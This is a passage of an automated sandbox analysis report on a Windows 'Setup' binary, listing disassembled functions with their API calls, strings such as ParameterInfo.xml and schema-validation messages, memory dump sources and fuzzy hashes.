                      • Part of subcall function 6CBB72E4: __EH_prolog3_catch.LIBCMT ref: 6CBB72EB
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_catch$CommandH_prolog3Line__time64
                    • String ID: %TEMP%\$Setup
                    • API String ID: 3716462386-3413213476
                    • Opcode ID: c03eb4ab6bfa8d7e043c9c3e719413e2ad36c299ac0b5ef2eb079f04f248271f
                    • Instruction ID: 2c6a3885dce8b50659e74b0b56fa7dd2f410b66a035e8a01e35a6401e3e3fe75
                    • Opcode Fuzzy Hash: c03eb4ab6bfa8d7e043c9c3e719413e2ad36c299ac0b5ef2eb079f04f248271f
                    • Instruction Fuzzy Hash: 99717E75901289DFCF00CFE8C984AEEBBB5BF49318F244159E551B7790DB35AA08CB62
                    Function 6CBA3EB2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 157COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA3EB9
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: ProcessBlocks$ProductDriveHints$ServiceBlocks$SystemCheck
                    • API String ID: 431132790-3784926136
                    • Opcode ID: 974842b1afd381327009ec094d2059c2b99379e68d576ff054f1cafeb40590f2
                    • Instruction ID: 6d9238264f770b8829249bd6f7944ea97fdb8b747663e2e98473b431d6b257ed
                    • Opcode Fuzzy Hash: 974842b1afd381327009ec094d2059c2b99379e68d576ff054f1cafeb40590f2
                    • Instruction Fuzzy Hash: AB514A71905289EBDF00DFA8C845AEE7BA8EF09318F144559F915AB780CB35DA05CB62
                    Function 6CBB5691 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 151COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB5698
                    • PathIsRelativeW.SHLWAPI(00000000,?), ref: 6CBB5735
                    • PathFileExistsW.SHLWAPI(00000001,?), ref: 6CBB57C3
                    Strings
                    • pLocalPath is NULL!!!!!!, xrefs: 6CBB585B
                    • Package authoring error. The Url for this item is not authored and the item does not exist locally: , xrefs: 6CBB57FB
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Path$ExistsFileH_prolog3Relative
                    • String ID: Package authoring error. The Url for this item is not authored and the item does not exist locally: $pLocalPath is NULL!!!!!!
                    • API String ID: 1035510722-3253188715
                    • Opcode ID: 099edfa96c8e714fbb78607e95642adca71fdd652694e99cc3c907ef0ce3db50
                    • Instruction ID: f816b81cdedefcc0ffac0993273567c66236f1a4273d535f1e36e1bde9cee6ff
                    • Opcode Fuzzy Hash: 099edfa96c8e714fbb78607e95642adca71fdd652694e99cc3c907ef0ce3db50
                    • Instruction Fuzzy Hash: BF51C271900189EFCF10DBA8C840AEE7BB8AF05358F144566E511BBB91DB319A49CBA3
                    Function 6CB90E96 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 136COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB90E9D
                      • Part of subcall function 6CB88B9F: __EH_prolog3.LIBCMT ref: 6CB88BA6
                    • __CxxThrowException@8.LIBCMT ref: 6CB91011
                    Strings
                    • schema validation failure: , xrefs: 6CB90F73
                    • must have exactly 2 child nodes, xrefs: 6CB90F88
                    • ParameterInfo.xml, xrefs: 6CB90F63
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: must have exactly 2 child nodes$ParameterInfo.xml$schema validation failure:
                    • API String ID: 2489616738-936724439
                    • Opcode ID: 9ba3911e015146703fd29ec7ad90976955f503298697c0ecb01392cd9fef627c
                    • Instruction ID: f29e1ace797e55f58a1c75b4bddff6f43d418cdac5225cf62f8f584d93858e54
                    • Opcode Fuzzy Hash: 9ba3911e015146703fd29ec7ad90976955f503298697c0ecb01392cd9fef627c
                    • Instruction Fuzzy Hash: 61514171901285EFDB00DFA8C944BEEBBB8AF09318F148559F115EB781DB71EA05CBA1
                    Function 6CB911F6 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB911FD
                      • Part of subcall function 6CB88B9F: __EH_prolog3.LIBCMT ref: 6CB88BA6
                    • __CxxThrowException@8.LIBCMT ref: 6CB9132C
                    Strings
                    • schema validation failure: Not must have exactly 1 child node, xrefs: 6CB9129F
                    • ParameterInfo.xml, xrefs: 6CB912AD
                    • Not, xrefs: 6CB91240
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: Not$ParameterInfo.xml$schema validation failure: Not must have exactly 1 child node
                    • API String ID: 2489616738-1102589135
                    • Opcode ID: 6ff3cb448b168bce8127e3d753eba44c50c3a07368130e24b8d602a1cd6635af
                    • Instruction ID: c7a27299360a48e78de850cf2160d87bba8224c55ea290c4fae698a86bacea14
                    • Opcode Fuzzy Hash: 6ff3cb448b168bce8127e3d753eba44c50c3a07368130e24b8d602a1cd6635af
                    • Instruction Fuzzy Hash: F8415371901189EFDF01DBE8C945BEEBBB8AF05318F144559E115EB780CB31EA09CBA2
                    Function 6CB956A3 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBC988C: __EH_prolog3.LIBCMT ref: 6CBC9893
                      • Part of subcall function 6CBC988C: GetCommandLineW.KERNEL32(0000002C,6CBCD52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CBC98B4
                      • Part of subcall function 6CBC988C: PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6CBC996E
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                      • Part of subcall function 6CB957E5: __EH_prolog3.LIBCMT ref: 6CB957EC
                      • Part of subcall function 6CBD8EAB: _memcpy_s.LIBCMT ref: 6CBD8EFC
                      • Part of subcall function 6CB8A8CC: SetFilePointer.KERNEL32(?,00000000,6CB7A794,00000001,?,00000000,00000000,00000002,?,80000000,00000001,00000003,00000080,00000000,00000000,?), ref: 6CB8AA49
                      • Part of subcall function 6CB8A8CC: ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8AA97
                      • Part of subcall function 6CB8A8CC: SysAllocStringLen.OLEAUT32(00000000,?), ref: 6CB8AAAC
                    • SysFreeString.OLEAUT32(?), ref: 6CB9578A
                    • SysFreeString.OLEAUT32(?), ref: 6CB95799
                    • SysFreeString.OLEAUT32(?), ref: 6CB957C7
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3String$FileFree$PathRelative$AllocCommandException@8LineModuleNamePointerReadThrow_memcpy_s
                    • String ID: ParameterInfo.xml$UiInfo.xml
                    • API String ID: 3873923459-386449131
                    • Opcode ID: 50f3a4be1d90f46bfdf595645df22fa3c7c21676210d5a4d310a953a62c342aa
                    • Instruction ID: d05d806ae522e6edf5391f85528d634666f1ae3f21ef2f329f7c38a09cf81d32
                    • Opcode Fuzzy Hash: 50f3a4be1d90f46bfdf595645df22fa3c7c21676210d5a4d310a953a62c342aa
                    • Instruction Fuzzy Hash: 4D3181B2908385ABCB10DF68C845A8FBBE8EF95629F040E1DF494D7790D735D50C8BA6
                    Function 6CBC972F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CB95044: __EH_prolog3.LIBCMT ref: 6CB9504B
                      • Part of subcall function 6CB839AD: __EH_prolog3.LIBCMT ref: 6CB839B4
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                    • GetCommandLineW.KERNEL32(?,?,?,?,564FE71B,?,?,?,?,ParameterInfo.xml,?,?,00000738,6CBBFA6E,?,6CB7A794), ref: 6CBC97B2
                      • Part of subcall function 6CB83E77: __EH_prolog3.LIBCMT ref: 6CB83E7E
                    • SysFreeString.OLEAUT32(?), ref: 6CBC985E
                      • Part of subcall function 6CB94798: __EH_prolog3.LIBCMT ref: 6CB9479F
                      • Part of subcall function 6CB950D5: __EH_prolog3_catch.LIBCMT ref: 6CB950DC
                      • Part of subcall function 6CB950D5: CoInitialize.OLE32(00000000), ref: 6CB9512A
                      • Part of subcall function 6CB950D5: CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,00000738,?,?,?,00000000,?,?,?,564FE71B,?,?,?), ref: 6CB95148
                      • Part of subcall function 6CB950D5: CoUninitialize.COMBASE(-00000960,?,succeeded,?,?,?,00000000,?,?,?,564FE71B,?,?,?), ref: 6CB951E6
                    • SysFreeString.OLEAUT32(?), ref: 6CBC9818
                    • SysFreeString.OLEAUT32(?), ref: 6CBC9833
                    Strings
                    • Loading localized engine data for language %d from %s, xrefs: 6CBC977B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$FreeString$CommandCreateException@8FileH_prolog3_catchInitializeInstanceLineModuleNamePathRelativeThrowUninitialize
                    • String ID: Loading localized engine data for language %d from %s
                    • API String ID: 509998568-3315213612
                    • Opcode ID: 4cb60e39e65e78dbb3c6bcbb2b1be0295fe466d4afc8a7e1c951fd3f08f6777c
                    • Instruction ID: 50f9b2c627fb34639f26603403ba601564f290c448bdc88e82ac1416cda07020
                    • Opcode Fuzzy Hash: 4cb60e39e65e78dbb3c6bcbb2b1be0295fe466d4afc8a7e1c951fd3f08f6777c
                    • Instruction Fuzzy Hash: 5A415E72408380AFD711DF64C844B9FBBECAF95329F040A2DF59593691DB35E50C8BA6
                    Function 6E0C19F5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105sleepthreadCOMMON
                    Download Yara Rule
                    APIs
                    • DisableThreadLibraryCalls.KERNEL32(?,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C19CE
                    • InterlockedCompareExchange.KERNEL32(6E0E0164,?,00000000), ref: 6E0C1AB1
                    • _initterm.MSVCRT ref: 6E0C1AF8
                    • InterlockedExchange.KERNEL32(6E0E0164,00000000), ref: 6E0C1B0E
                    • InterlockedCompareExchange.KERNEL32(6E0E0164,00000001,00000000), ref: 6E0C1D46
                    • free.MSVCRT ref: 6E0C1D7A
                    • InterlockedExchange.KERNEL32(6E0E0164,00000000), ref: 6E0C1D9C
                    • Sleep.KERNEL32(000003E8,?,00000000,?,?,6E0C1DDB,?,00000001,?,?,?,?,6E0C1C70,0000002C), ref: 6E0D451B
                    Strings
                    • Microsoft\Windows\SoftwareQualityMetricsClient, xrefs: 6E0C19AC
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ExchangeInterlocked$Compare$CallsDisableLibrarySleepThread_inittermfree
                    • String ID: Microsoft\Windows\SoftwareQualityMetricsClient
                    • API String ID: 529680579-2483579846
                    • Opcode ID: cd58a418147a01778b842d8ee76b7c0b19e05c386254169c5ddf9d680bd561bc
                    • Instruction ID: 608323528d78215fd4b69957ce25164176a21735c1640cb6bfd62f101bfeb048
                    • Opcode Fuzzy Hash: cd58a418147a01778b842d8ee76b7c0b19e05c386254169c5ddf9d680bd561bc
                    • Instruction Fuzzy Hash: D231067150C780AFCB41CBE08854FAD7B76FB03B58B1491AEE8498B153EB35850ADB67
                    Function 6CB919AD Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 103COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB919B4
                      • Part of subcall function 6CB88B9F: __EH_prolog3.LIBCMT ref: 6CB88BA6
                    • __CxxThrowException@8.LIBCMT ref: 6CB91ADE
                    Strings
                    • can only have one logical or arithmietic expression for a child node, xrefs: 6CB91A54
                    • ParameterInfo.xml, xrefs: 6CB91902, 6CB91A2F
                    • schema validation failure: , xrefs: 6CB91A40
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: can only have one logical or arithmietic expression for a child node$ParameterInfo.xml$schema validation failure:
                    • API String ID: 2489616738-4045823434
                    • Opcode ID: f9d463e3e0103c541abb7567245ee7aada84b131441ce45289a8dfeb1ea8c957
                    • Instruction ID: 1f35b7e853a7b0b5a8b4e2297b837c7f382cdd5a4677c0171f4dec873b6b5795
                    • Opcode Fuzzy Hash: f9d463e3e0103c541abb7567245ee7aada84b131441ce45289a8dfeb1ea8c957
                    • Instruction Fuzzy Hash: 3F411D71901189EFDB00DFA8C945BEEBBB8AF05328F248555E515EB780DB31EA09CB61
                    Function 6CB91C2E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB91C35
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB919AD: __EH_prolog3.LIBCMT ref: 6CB919B4
                      • Part of subcall function 6CB919AD: __CxxThrowException@8.LIBCMT ref: 6CB91ADE
                      • Part of subcall function 6CB88AAC: __EH_prolog3.LIBCMT ref: 6CB88AB3
                      • Part of subcall function 6CB88AAC: __CxxThrowException@8.LIBCMT ref: 6CB88B39
                      • Part of subcall function 6CB892D1: __EH_prolog3.LIBCMT ref: 6CB892D8
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CB91D02
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw$DispatcherExceptionUser
                    • String ID: IsPresent$ParameterInfo.xml$schema validation failure: IsPresent can only be authored once.
                    • API String ID: 2724732616-4158871691
                    • Opcode ID: b3898593e7afd909d56f18adc4b658718b523eba0000319a8bd0a7ba76ef5ae8
                    • Instruction ID: 04707dca860310f45802e8e09f99115c0b432fff46d967a2526397b75c4664d2
                    • Opcode Fuzzy Hash: b3898593e7afd909d56f18adc4b658718b523eba0000319a8bd0a7ba76ef5ae8
                    • Instruction Fuzzy Hash: 8D21607181118DABCF00DBA8C944BEE7BB8AF15368F148555F164ABB80CB32DB0C8762
                    Function 6CB91D3D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB91D44
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB919AD: __EH_prolog3.LIBCMT ref: 6CB919B4
                      • Part of subcall function 6CB919AD: __CxxThrowException@8.LIBCMT ref: 6CB91ADE
                      • Part of subcall function 6CB88AAC: __EH_prolog3.LIBCMT ref: 6CB88AB3
                      • Part of subcall function 6CB88AAC: __CxxThrowException@8.LIBCMT ref: 6CB88B39
                      • Part of subcall function 6CB892D1: __EH_prolog3.LIBCMT ref: 6CB892D8
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CB91E11
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw$DispatcherExceptionUser
                    • String ID: ApplicableIf$ParameterInfo.xml$schema validation failure: IsPresent can only be authored once.
                    • API String ID: 2724732616-3920316726
                    • Opcode ID: 2d91c8bfd36f1510fd85e439962d873a93e900e71b7a16bb16d3c8947d17076f
                    • Instruction ID: ce84ebc750dad755eabb1375cda9f265a41806bbf6c87e7d7885bb165b2d7835
                    • Opcode Fuzzy Hash: 2d91c8bfd36f1510fd85e439962d873a93e900e71b7a16bb16d3c8947d17076f
                    • Instruction Fuzzy Hash: 97216271811188ABCF00DBA8C944BEE77B8AF05358F148555F114A7B81CB32DB0C8762
                    Function 6CB958F5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB958FC
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                    • StrPBrkW.SHLWAPI(00000000,) <>",#(loc.,?,6CBBFA6E,6CBBFA6E,00000718,-00000960,?,00000000,00000010,6CB96171,00000000,00000748,?,ParameterInfo.xml), ref: 6CB95972
                    • SysFreeString.OLEAUT32(6CBBFA6E), ref: 6CB959A3
                      • Part of subcall function 6CBD8C9E: _memcpy_s.LIBCMT ref: 6CBD8CE4
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8FileFreeModuleNamePathRelativeStringThrow_memcpy_s
                    • String ID: #(loc.$) <>"
                    • API String ID: 3035459583-3905424865
                    • Opcode ID: 5a2607491655241978ef8c2f4c9eae042d6c339f9bc25c736e1be51ed28c7841
                    • Instruction ID: f7bb1f8fec560783dc1f8845b21488c81e1331d2e33d25e093633292fec02e8e
                    • Opcode Fuzzy Hash: 5a2607491655241978ef8c2f4c9eae042d6c339f9bc25c736e1be51ed28c7841
                    • Instruction Fuzzy Hash: F6118171D0119AAFCF00DBA4CD049EEB778BF01369B450A25E520B7B90D731D90D8BA5
                    Function 6CBB586D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60synchronizationCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB5874
                    • OpenMutexW.KERNEL32(00100000,00000000,00000030,?,Global\,00000000,6CBCBDA7,?,00000000,?,?,?,?,?,Command-line option error: ,?), ref: 6CBB58FB
                    • CreateMutexW.KERNEL32(00000000,00000000,00000030), ref: 6CBB590B
                    • GetLastError.KERNEL32 ref: 6CBB5913
                      • Part of subcall function 6CBB8CD5: __EH_prolog3.LIBCMT ref: 6CBB8CDC
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
